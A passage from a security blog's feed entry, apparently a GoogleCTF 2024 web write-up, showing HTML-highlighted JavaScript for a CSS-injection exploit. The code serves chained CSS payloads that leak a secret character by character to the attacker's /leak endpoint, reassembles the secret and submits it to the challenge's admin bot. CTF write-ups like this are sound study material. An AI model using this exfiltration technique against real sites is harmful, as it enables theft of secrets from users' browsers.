class="token interpolation-punctuation punctuation">$&#123;</span>str<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">:url("</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token constant">BASE</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/leak?q=</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>str<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">")&#125;\n</span><span class="token template-punctuation string">`</span></span>    crossPayload3 <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">-webkit-cross-fade(</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>crossPayload3<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">, var(--</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>str<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">, none), 50%)</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">&#125;</span>payload1 <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>payload1<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string"> .p1&#123;background-image:</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>crossPayload1<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string"> &#125;</span><span class="token template-punctuation string">`</span></span>payload2 <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>payload2<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string"> .p2&#123;background-image:</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>crossPayload2<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string"> &#125;</span><span class="token template-punctuation string">`</span></span>payload3 <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>payload3<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string"> .p3&#123;background-image:</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>crossPayload3<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string"> &#125;</span><span class="token template-punctuation string">`</span></span><span class="token keyword">function</span> <span class="token function">filterFirst</span><span class="token punctuation">(</span><span class="token parameter">arr<span class="token punctuation">,</span> item</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">const</span> result <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span>  <span class="token keyword">let</span> found <span class="token operator">=</span> <span class="token boolean">false</span>  <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">let</span> a <span class="token keyword">of</span> arr<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>a<span class="token operator">===</span>item <span class="token operator">&amp;&amp;</span> <span class="token operator">!</span>found<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      found <span class="token operator">=</span> <span class="token boolean">true</span>      <span class="token keyword">continue</span>    <span class="token punctuation">&#125;</span>    result<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> result<span class="token punctuation">&#125;</span><span class="token keyword">async</span> <span class="token keyword">function</span> <span class="token function">getFlag</span><span class="token punctuation">(</span><span class="token parameter">secret</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">return</span> <span class="token function">fetch</span><span class="token punctuation">(</span><span class="token string">'https://in-the-shadows-web.2024.ctfcompetition.com/check-secret?secret='</span> <span class="token operator">+</span> secret<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token parameter">res</span> <span class="token operator">=></span> res<span class="token punctuation">.</span><span class="token function">text</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">text</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>text <span class="token operator">!==</span> <span class="token string">'Invalid secret'</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>text<span class="token punctuation">)</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">catch</span><span class="token punctuation">(</span><span class="token parameter">err</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'err'</span><span class="token punctuation">,</span> err<span class="token punctuation">.</span>message<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token keyword">function</span> <span class="token function">mergeWords</span><span class="token punctuation">(</span><span class="token parameter">arr<span class="token punctuation">,</span> ending</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>arr<span class="token punctuation">.</span>length <span class="token operator">===</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token keyword">return</span> ending  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>ending<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">let</span> i<span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">;</span> i<span class="token operator">&lt;</span>arr<span class="token punctuation">.</span>length<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      <span class="token keyword">let</span> isFound <span class="token operator">=</span> <span class="token boolean">false</span>      <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">let</span> j<span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">;</span> j<span class="token operator">&lt;</span>arr<span class="token punctuation">.</span>length<span class="token punctuation">;</span> j<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span>i <span class="token operator">===</span> j<span class="token punctuation">)</span> <span class="token keyword">continue</span>        <span class="token keyword">let</span> suffix <span class="token operator">=</span> arr<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">+</span> arr<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span>         <span class="token keyword">let</span> prefix <span class="token operator">=</span> arr<span class="token punctuation">[</span>j<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">+</span> arr<span class="token punctuation">[</span>j<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span>suffix <span class="token operator">===</span> prefix<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>          isFound <span class="token operator">=</span> <span class="token boolean">true</span>          <span class="token keyword">continue</span>        <span class="token punctuation">&#125;</span>      <span class="token punctuation">&#125;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>isFound<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'ending:'</span><span class="token punctuation">,</span> arr<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span>        <span class="token keyword">return</span> <span class="token function">mergeWords</span><span class="token punctuation">(</span><span class="token function">filterFirst</span><span class="token punctuation">(</span>arr<span class="token punctuation">,</span> arr<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">,</span> arr<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span>      <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'Error, please try again'</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">let</span> found <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span>  <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">let</span> i<span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">;</span> i<span class="token operator">&lt;</span>arr<span class="token punctuation">.</span>length<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">let</span> length <span class="token operator">=</span> ending<span class="token punctuation">.</span>length    <span class="token keyword">let</span> suffix <span class="token operator">=</span> ending<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">+</span> ending<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span>    <span class="token keyword">let</span> prefix <span class="token operator">=</span> arr<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">+</span> arr<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>suffix <span class="token operator">===</span> prefix<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      found<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token function">filterFirst</span><span class="token punctuation">(</span>arr<span class="token punctuation">,</span> arr<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">,</span> arr<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">+</span> ending<span class="token punctuation">]</span><span class="token punctuation">)</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> found<span class="token punctuation">.</span><span class="token function">map</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">item</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>    <span class="token keyword">return</span> <span class="token function">mergeWords</span><span class="token punctuation">(</span>item<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">,</span> item<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token keyword">function</span> <span class="token function">handleLeak</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">let</span> str <span class="token operator">=</span> <span class="token string">''</span>  <span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token operator">...</span>leaks<span class="token punctuation">]</span>  leaks <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span>  console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'received:'</span><span class="token punctuation">,</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">stringify</span><span class="token punctuation">(</span>arr<span class="token punctuation">)</span><span class="token punctuation">)</span>  <span class="token keyword">const</span> merged <span class="token operator">=</span> <span class="token function">mergeWords</span><span class="token punctuation">(</span>arr<span class="token punctuation">,</span> <span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'leaked:'</span><span class="token punctuation">,</span> merged<span class="token punctuation">.</span><span class="token function">flat</span><span class="token punctuation">(</span><span class="token number">9999</span><span class="token punctuation">)</span><span class="token punctuation">)</span>  <span class="token keyword">return</span> merged<span class="token punctuation">.</span><span class="token function">flat</span><span class="token punctuation">(</span><span class="token number">9999</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span>app<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token string">'/leak'</span><span class="token punctuation">,</span> <span class="token keyword">async</span> <span class="token punctuation">(</span><span class="token parameter">req<span class="token punctuation">,</span> res</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>  leaks<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>req<span class="token punctuation">.</span>query<span class="token punctuation">.</span>q<span class="token punctuation">)</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'recevied:'</span><span class="token punctuation">,</span> req<span class="token punctuation">.</span>query<span class="token punctuation">.</span>q<span class="token punctuation">,</span> leaks<span class="token punctuation">.</span>length<span class="token punctuation">)</span>  <span class="token comment">//console.log(leaks)</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>leaks<span class="token punctuation">.</span>length <span class="token operator">===</span> <span class="token number">105</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">const</span> result <span class="token operator">=</span> <span class="token function">handleLeak</span><span class="token punctuation">(</span><span class="token punctuation">)</span>        <span class="token keyword">let</span> s <span class="token operator">=</span> Array<span class="token punctuation">.</span><span class="token function">from</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Set</span><span class="token punctuation">(</span>result<span class="token punctuation">)</span><span class="token punctuation">)</span>    s <span class="token operator">=</span> s<span class="token punctuation">.</span><span class="token function">filter</span><span class="token punctuation">(</span><span class="token parameter">item</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>item<span class="token punctuation">.</span><span class="token function">indexOf</span><span class="token punctuation">(</span><span class="token string">'000'</span><span class="token punctuation">)</span> <span class="token operator">!==</span> <span class="token number">40</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">return</span> <span class="token boolean">false</span>      <span class="token punctuation">&#125;</span>      <span class="token keyword">return</span> <span class="token boolean">true</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'secret:'</span><span class="token punctuation">,</span> s<span class="token punctuation">)</span>    <span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span>    <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">let</span> f <span class="token keyword">of</span> s<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'try:'</span><span class="token punctuation">,</span> f<span class="token punctuation">,</span> <span class="token operator">++</span>i<span class="token punctuation">)</span>      <span class="token keyword">await</span> <span class="token function">getFlag</span><span class="token punctuation">(</span>f<span class="token punctuation">.</span><span class="token function">replace</span><span class="token punctuation">(</span><span class="token string">'000'</span><span class="token punctuation">,</span> <span class="token string">'00000000'</span><span class="token punctuation">)</span><span class="token punctuation">)</span>    <span class="token punctuation">&#125;</span>      <span class="token punctuation">&#125;</span>  res<span class="token punctuation">.</span><span class="token function">send</span><span class="token punctuation">(</span><span class="token string">'ok'</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>app<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token string">'/payload1'</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">req<span class="token punctuation">,</span> res</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>  console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'payload1'</span><span class="token punctuation">)</span>  res<span class="token punctuation">.</span><span class="token function">setHeader</span><span class="token punctuation">(</span><span class="token string">'Content-Type'</span><span class="token punctuation">,</span> <span class="token string">'text/css'</span><span class="token punctuation">)</span>  res<span class="token punctuation">.</span><span class="token function">send</span><span class="token punctuation">(</span>payload1<span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>app<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token string">'/payload2'</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">req<span class="token punctuation">,</span> res</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>  console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'payload2'</span><span class="token punctuation">)</span>  res<span class="token punctuation">.</span><span class="token function">setHeader</span><span class="token punctuation">(</span><span class="token string">'Content-Type'</span><span class="token punctuation">,</span> <span class="token string">'text/css'</span><span class="token punctuation">)</span>  res<span class="token punctuation">.</span><span class="token function">send</span><span class="token punctuation">(</span>payload2<span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>app<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token string">'/payload3'</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">req<span class="token punctuation">,</span> res</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>  console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'payload3'</span><span class="token punctuation">)</span>  res<span class="token punctuation">.</span><span class="token function">setHeader</span><span class="token punctuation">(</span><span class="token string">'Content-Type'</span><span class="token punctuation">,</span> <span class="token string">'text/css'</span><span class="token punctuation">)</span>  res<span class="token punctuation">.</span><span class="token function">send</span><span class="token punctuation">(</span>payload3<span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>app<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token string">'/payload'</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">req<span class="token punctuation">,</span> res</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>  console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'payload'</span><span class="token punctuation">)</span>  <span class="token keyword">let</span> payload <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">@import url("</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token constant">BASE</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/payload1");\n@import url("</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token constant">BASE</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/payload2");\n@import url("</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token constant">BASE</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/payload3");</span><span class="token template-punctuation string">`</span></span>  res<span class="token punctuation">.</span><span class="token function">setHeader</span><span class="token punctuation">(</span><span class="token string">'Content-Type'</span><span class="token punctuation">,</span> <span class="token string">'text/css'</span><span class="token punctuation">)</span>  res<span class="token punctuation">.</span><span class="token function">send</span><span class="token punctuation">(</span>payload<span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>app<span class="token punctuation">.</span><span class="token function">listen</span><span class="token punctuation">(</span>port<span class="token punctuation">,</span> <span class="token keyword">async</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>  console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Example app listening on port </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>port<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span>    <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>    <span class="token function">sendToBot</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">&lt;style>@font-feature-values 'lol; @\\\\0069mport "</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token constant">BASE</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/payload";p' &#123;&#125;&lt;/style>&lt;p class="p1">&lt;/p>&lt;p class="p2">&lt;/p>&lt;p class="p3">&lt;/p></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token keyword">function</span> <span class="token function">sendToBot</span><span class="token punctuation">(</span><span class="token parameter">payload</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token function">fetch</span><span class="token punctuation">(</span><span class="token string">'https://in-the-shadows-web.2024.ctfcompetition.com/share-with-admin?body='</span> <span class="token operator">+</span> <span class="token function">encodeURIComponent</span><span class="token punctuation">(</span>payload<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token parameter">r</span> <span class="token operator">=></span> r<span class="token punctuation">.</span><span class="token function">text</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span>console<span class="token punctuation">.</span>log<span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>]]></content>
    
    
    <summary type="html">&lt;p&gt;For the past half year, I have been busy with other things and haven’t had a chance to participate in a CTF. This time, I made time for GoogleCTF 2024 and solved all the web challenges with my teammates.&lt;/p&gt;
&lt;p&gt;The challenges were interesting as always. I participated in three of them, while my teammates quickly solved the other two simpler ones before I could even take a look. Nevertheless, I will make a brief record of them. I really enjoy CTF challenges that are mostly client-side focused.&lt;/p&gt;
&lt;p&gt;Keywords:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Bypassing URL parser&lt;/li&gt;
&lt;li&gt;Adding strings after parseInt&lt;/li&gt;
&lt;li&gt;[a-Z] regex includes special characters&lt;/li&gt;
&lt;li&gt;Cookie tossing&lt;/li&gt;
&lt;li&gt;CSS injection&lt;/li&gt;
&lt;/ol&gt;</summary>
    
    
    
    <category term="Security" scheme="https://blog.huli.tw/categories/Security/"/>
    
    
    <category term="Security" scheme="https://blog.huli.tw/tags/Security/"/>
    
  </entry>
  
</feed>
